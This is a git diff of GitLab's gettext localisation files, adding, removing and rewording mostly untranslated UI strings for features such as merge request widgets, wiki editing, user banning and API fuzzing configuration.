msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -32128,9 +32815,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32434,9 +33118,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32503,12 +33184,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32536,6 +33211,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32599,9 +33277,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32644,9 +33319,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32770,7 +33442,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32872,9 +33547,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33208,6 +33880,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33250,9 +33925,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33277,6 +33949,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33328,9 +34003,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33361,12 +34033,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33376,6 +34042,9 @@ msgstr "ÄŒetvrtak"
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33427,6 +34096,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33604,9 +34276,6 @@ msgstr[2] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33721,9 +34390,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33841,13 +34507,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33877,9 +34543,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -34078,6 +34741,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34303,6 +34969,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34546,6 +35215,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34705,6 +35377,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -35026,6 +35701,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -35035,6 +35713,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -35143,27 +35824,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35296,6 +35995,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35317,6 +36019,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35428,6 +36133,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35995,15 +36703,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -36043,9 +36751,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -36073,16 +36778,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -36115,9 +36820,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36361,6 +37063,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36469,6 +37174,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36487,12 +37198,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36502,6 +37219,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36523,9 +37246,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36694,6 +37414,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36898,6 +37621,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -37009,9 +37735,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37294,10 +38026,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37336,6 +38068,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37366,9 +38101,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37567,9 +38299,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37906,6 +38635,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -38152,6 +38920,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38230,7 +39001,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38332,6 +39103,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38392,9 +39166,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38422,10 +39193,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38467,9 +39235,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38485,12 +39250,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38899,6 +39670,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -39022,6 +39799,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/ca_ES/gitlab.po b/locale/ca_ES/gitlab.po
index 95c27dba494..a1568f3e06b 100644
--- a/locale/ca_ES/gitlab.po
+++ b/locale/ca_ES/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ca\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:19\n"
+"PO-Revision-Date: 2021-06-01 20:36\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d capa"
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr "No es pot obtenir un certificat SSL de Let's Encrypt fins que no s'hagi
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr "Àrea d'administració"
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
